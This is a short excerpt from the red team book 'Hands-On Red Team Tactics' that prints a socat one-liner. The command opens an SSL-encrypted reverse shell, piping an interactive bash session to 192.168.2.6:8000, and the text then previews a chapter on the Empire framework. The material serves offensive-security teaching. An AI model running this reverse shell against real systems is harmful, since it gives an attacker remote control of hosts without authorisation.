Hands-On Red Team Tactics

Socat reverse shell over SSL (cert.pem is the custom certificate)

socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-connect:192.168.2.6:8000,key=$HOME/cert.pem,verify=0 

We hope you now understand the criticality of using a reverse_tcp payload without any security. In the next chapter, you will be learning about Empire, the tool that is juiced up with PowerShell modules to get you better access to your target server.